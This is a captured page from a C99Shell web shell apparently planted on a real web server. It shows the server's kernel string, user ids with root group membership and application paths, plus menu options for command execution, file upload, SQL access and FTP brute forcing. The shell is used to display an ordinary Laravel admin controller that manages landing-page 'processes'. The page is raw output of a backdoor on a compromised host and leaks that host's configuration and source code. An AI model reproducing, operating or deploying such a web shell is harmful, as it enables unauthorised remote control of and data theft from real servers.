!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcessController.php (6.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Process;
use 
Illuminate\Http\Request;

class 
ProcessController extends Controller
{
    protected 
$imagePath 'uploads/restorants/';

    private function 
validateAccess()
    {
        if (! 
auth()->user()->hasRole('admin')) {
            
abort(404);
        }
    }

    private function 
getFields()
    {
        
$elements=[
            [
'ftype'=>'input''name'=>'Title''id'=>'title''placeholder'=>__('Enter title'), 'required'=>true],
            [
'ftype'=>'input''name'=>'Description''id'=>'description''placeholder'=>__('Enter description'), 'required'=>true],
            [
'ftype'=>'input''name'=>'Link Name''id'=>'link_name''placeholder'=>__('Enter link name'), 'required'=>false],
            [
'ftype'=>'input''name'=>'Link ''id'=>'link''placeholder'=>__('Enter link URL'), 'required'=>false],
        ];
  
            
array_push($elements, ['ftype'=>'input''name'=>__('Subtitle'), 'id'=>'subtitle''required'=>true'placeholder'=>__('Enter subtitle')]);
            
array_push($elements, ['ftype'=>'image''name'=>__('Feature image'), 'id'=>'image']);
        

        return 
$elements;
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        
$this->validateAccess();

        return 
view('landing.processes.index', ['setup' => [
            
'iscontent' => true,
            
'title' => __('Processes'),
            
'action_link' => route('admin.landing.processes.create'),
            
'action_name' => __('Add new process'),
            
'items' => Process::where('post_type''process')->get(),
            
'item_names' => 'processes',
            
'breadcrumbs' => [
                [
__('Landing Page'), route('admin.landing')],
                [
__('Processes'), route('admin.landing.processes.index')],
            ],
        ]]);
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
$this->validateAccess();

        return 
view('general.form', ['setup' => [
            
'title' => __('New process'),
            
'action_link' => route('admin.landing.processes.index'),
            
'action_name' => __('Back'),
            
'iscontent' => true,
            
'action' => route('admin.landing.processes.store'),
            
'breadcrumbs' => [
                [
__('Landing Page'), route('admin.landing')],
                [
__('Processes'), route('admin.landing.processes.index')],
                [
__('New'), null],
            ],
        ],
        
'fields'=>$this->getFields(), ]);
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$this->validateAccess();
        
//Validate first
        
$request->validate([
            
'title' => ['required''string''max:255'],
            
'description' => ['required''string''max:255'],
            
'link' => ['required''string''max:255'],
            
'link_name' => ['required''string''max:255'],
        ]);

        
$process Process::create([
            
'post_type' => 'process',
            
'title' => $request->title,
            
'description' => $request->description,
            
'link' => $request->link,
            
'link_name' => $request->link_name,
        ]);


            
$process->subtitle=$request->has('subtitle')?$request->subtitle:"";
            
            if (
$request->hasFile('image')) {
                
$process->image $this->saveImageVersions(
                    
$this->imagePath,
                    
$request->image,
                    [
                        [
'name'=>'large'],
                    ]
                );
               
            }
          


        
$process->save();

        return 
redirect()->route('admin.landing.processes.index')->withStatus(__('Process was added'));
    }

    
/**
     * Display the specified resource.
     *
     * @param  \App\Models\Process  $process
     * @return \Illuminate\Http\Response
     */
    
public function show(Process $process)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Process  $process
     * @return \Illuminate\Http\Response
     */
    
public function edit(Process $process)
    {
        
$this->validateAccess();
        
$fields $this->getFields();
        
$fields[0]['value'] = $process->title;
        
$fields[1]['value'] = $process->description;
        
$fields[2]['value'] = $process->link;
        
$fields[3]['value'] = $process->link_name;

        if(
config('app.ispc')){
            
$fields[4]['value'] = $process->subtitle;
            
$fields[5]['value'] =  $process->image_link;
        }

        
//dd($option);
        
return view('general.form', ['setup' => [
            
'title' => __('Edit this process'),
            
'action_link' => route('admin.landing.processes.index'),
            
'action_name' => __('Back'),
            
'iscontent' => true,
            
'isupdate' => true,
            
'action' => route('admin.landing.processes.update', ['process' => $process->id]),
            
'breadcrumbs' => [
                [
__('Landing Page'), route('admin.landing')],
                [
__('Processes'), route('admin.landing.processes.index')],
                [
$process->idnull],
            ],
        ],
        
'fields'=>$fields, ]);
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Process  $process
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestProcess $process)
    {
        
$this->validateAccess();

        
$process->title $request->title;
        
$process->description $request->description;
        
$process->link $request->link;
        
$process->link_name $request->link_name;

        
$process->subtitle=$request->has('subtitle')?$request->subtitle:"";
            
            if (
$request->hasFile('image')) {
                
$process->image $this->saveImageVersions(
                    
$this->imagePath,
                    
$request->image,
                    [
                        [
'name'=>'large'],
                    ]
                );
               
            }

        
$process->update();

        return 
redirect()->route('admin.landing.processes.index')->withStatus(__('Process was updated'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Process  $process
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Process $process)
    {
        
$this->validateAccess();

        
$process->delete();

        return 
redirect()->route('admin.landing.processes.index')->withStatus(__('Process was deleted.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--